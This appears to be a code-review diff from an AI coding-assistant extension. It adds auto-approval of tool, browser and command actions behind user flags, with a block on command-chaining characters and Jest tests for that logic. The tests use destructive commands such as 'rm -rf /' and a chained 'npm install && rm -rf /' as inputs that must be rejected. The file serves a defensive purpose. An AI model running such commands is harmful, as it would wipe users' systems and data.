const { version, clineMessages: messages, taskHistory, apiConfiguration, alwaysAllowBrowser, alwaysAllowReadOnly, alwaysAllowWrite, alwaysAllowExecute } = useExtensionState()
|
||||||
|
|
||||||
//const task = messages.length > 0 ? (messages[0].say === "task" ? messages[0] : undefined) : undefined) : undefined
|
//const task = messages.length > 0 ? (messages[0].say === "task" ? messages[0] : undefined) : undefined) : undefined
|
||||||
const task = useMemo(() => messages.at(0), [messages]) // leaving this less safe version here since if the first message is not a task, then the extension is in a bad state and needs to be debugged (see Cline.abort)
|
const task = useMemo(() => messages.at(0), [messages]) // leaving this less safe version here since if the first message is not a task, then the extension is in a bad state and needs to be debugged (see Cline.abort)
|
||||||
@@ -675,6 +685,60 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||||||
[expandedRows, modifiedMessages, groupedMessages.length, toggleRowExpansion, handleRowHeightChange],
|
[expandedRows, modifiedMessages, groupedMessages.length, toggleRowExpansion, handleRowHeightChange],
|
||||||
)
|
)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
// Only proceed if we have an ask and buttons are enabled
|
||||||
|
if (!clineAsk || !enableButtons) return
|
||||||
|
|
||||||
|
const isReadOnlyToolAction = () => {
|
||||||
|
const lastMessage = messages.at(-1)
|
||||||
|
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||||
|
const tool = JSON.parse(lastMessage.text)
|
||||||
|
return ["readFile", "listFiles", "searchFiles"].includes(tool.tool)
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
const isWriteToolAction = () => {
|
||||||
|
const lastMessage = messages.at(-1)
|
||||||
|
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||||
|
const tool = JSON.parse(lastMessage.text)
|
||||||
|
return ["editedExistingFile", "newFileCreated"].includes(tool.tool)
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
const isAllowedCommand = () => {
|
||||||
|
const lastMessage = messages.at(-1)
|
||||||
|
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||||
|
const command = lastMessage.text
|
||||||
|
|
||||||
|
// Check for command chaining characters
|
||||||
|
if (command.includes('&&') ||
|
||||||
|
command.includes(';') ||
|
||||||
|
command.includes('||') ||
|
||||||
|
command.includes('|') ||
|
||||||
|
command.includes('$(') ||
|
||||||
|
command.includes('`')) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
const trimmedCommand = command.trim().toLowerCase()
|
||||||
|
return ALLOWED_AUTO_EXECUTE_COMMANDS.some(prefix =>
|
||||||
|
trimmedCommand.startsWith(prefix.toLowerCase())
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
(alwaysAllowBrowser && clineAsk === "browser_action_launch") ||
|
||||||
|
(alwaysAllowReadOnly && clineAsk === "tool" && isReadOnlyToolAction()) ||
|
||||||
|
(alwaysAllowWrite && clineAsk === "tool" && isWriteToolAction()) ||
|
||||||
|
(alwaysAllowExecute && clineAsk === "command" && isAllowedCommand())
|
||||||
|
) {
|
||||||
|
handlePrimaryButtonClick()
|
||||||
|
}
|
||||||
|
}, [clineAsk, enableButtons, handlePrimaryButtonClick, alwaysAllowBrowser, alwaysAllowReadOnly, alwaysAllowWrite, alwaysAllowExecute, messages])
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
style={{
|
style={{
|
||||||
|
|||||||
@@ -38,7 +38,6 @@ jest.mock('../ChatRow', () => ({
|
|||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
|
|
||||||
|
|
||||||
// Mock Virtuoso component
|
// Mock Virtuoso component
|
||||||
jest.mock('react-virtuoso', () => ({
|
jest.mock('react-virtuoso', () => ({
|
||||||
Virtuoso: ({ children }: any) => (
|
Virtuoso: ({ children }: any) => (
|
||||||
@@ -74,6 +73,7 @@ describe('ChatView', () => {
|
|||||||
alwaysAllowReadOnly: true,
|
alwaysAllowReadOnly: true,
|
||||||
alwaysAllowWrite: true,
|
alwaysAllowWrite: true,
|
||||||
alwaysAllowExecute: true,
|
alwaysAllowExecute: true,
|
||||||
|
alwaysAllowBrowser: true,
|
||||||
openRouterModels: {},
|
openRouterModels: {},
|
||||||
didHydrateState: true,
|
didHydrateState: true,
|
||||||
showWelcome: false,
|
showWelcome: false,
|
||||||
@@ -82,13 +82,14 @@ describe('ChatView', () => {
|
|||||||
taskHistory: [],
|
taskHistory: [],
|
||||||
shouldShowAnnouncement: false,
|
shouldShowAnnouncement: false,
|
||||||
uriScheme: 'vscode',
|
uriScheme: 'vscode',
|
||||||
|
|
||||||
|
setApiConfiguration: jest.fn(),
|
||||||
|
setShowAnnouncement: jest.fn(),
|
||||||
|
setCustomInstructions: jest.fn(),
|
||||||
setAlwaysAllowReadOnly: jest.fn(),
|
setAlwaysAllowReadOnly: jest.fn(),
|
||||||
setAlwaysAllowWrite: jest.fn(),
|
setAlwaysAllowWrite: jest.fn(),
|
||||||
setCustomInstructions: jest.fn(),
|
|
||||||
setAlwaysAllowExecute: jest.fn(),
|
setAlwaysAllowExecute: jest.fn(),
|
||||||
setApiConfiguration: jest.fn(),
|
setAlwaysAllowBrowser: jest.fn()
|
||||||
setShowAnnouncement: jest.fn()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Mock the useExtensionState hook
|
// Mock the useExtensionState hook
|
||||||
@@ -106,6 +107,118 @@ describe('ChatView', () => {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
describe('Always Allow Logic', () => {
|
||||||
|
it('should auto-approve read-only tool actions when alwaysAllowReadOnly is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'tool',
|
||||||
|
text: JSON.stringify({ tool: 'readFile' }),
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||||
|
type: 'askResponse',
|
||||||
|
askResponse: 'yesButtonClicked'
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should auto-approve write tool actions when alwaysAllowWrite is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'tool',
|
||||||
|
text: JSON.stringify({ tool: 'editedExistingFile' }),
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||||
|
type: 'askResponse',
|
||||||
|
askResponse: 'yesButtonClicked'
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should auto-approve allowed execute commands when alwaysAllowExecute is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'command',
|
||||||
|
text: 'npm install',
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||||
|
type: 'askResponse',
|
||||||
|
askResponse: 'yesButtonClicked'
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should not auto-approve disallowed execute commands even when alwaysAllowExecute is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'command',
|
||||||
|
text: 'rm -rf /',
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).not.toHaveBeenCalled()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should not auto-approve commands with chaining characters when alwaysAllowExecute is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'command',
|
||||||
|
text: 'npm install && rm -rf /',
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).not.toHaveBeenCalled()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should auto-approve browser actions when alwaysAllowBrowser is true', () => {
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'browser_action_launch',
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||||
|
type: 'askResponse',
|
||||||
|
askResponse: 'yesButtonClicked'
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
it('should not auto-approve when corresponding alwaysAllow flag is false', () => {
|
||||||
|
mockState.alwaysAllowReadOnly = false
|
||||||
|
mockState.clineMessages = [
|
||||||
|
{
|
||||||
|
type: 'ask',
|
||||||
|
ask: 'tool',
|
||||||
|
text: JSON.stringify({ tool: 'readFile' }),
|
||||||
|
ts: Date.now(),
|
||||||
|
}
|
||||||
|
]
|
||||||
|
renderChatView()
|
||||||
|
|
||||||
|
expect(vscode.postMessage).not.toHaveBeenCalled()
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
describe('Streaming State', () => {
|
describe('Streaming State', () => {
|
||||||
it('should show cancel button while streaming and trigger cancel on click', async () => {
|
it('should show cancel button while streaming and trigger cancel on click', async () => {
|
||||||
mockState.clineMessages = [
|
mockState.clineMessages = [
|
||||||
@@ -168,4 +281,4 @@ describe('ChatView', () => {
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|||||||
Reference in New Issue
Block a user